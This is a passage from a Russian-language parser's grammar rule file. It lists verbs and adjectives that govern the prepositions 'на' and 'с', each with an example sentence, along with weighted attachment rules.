rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
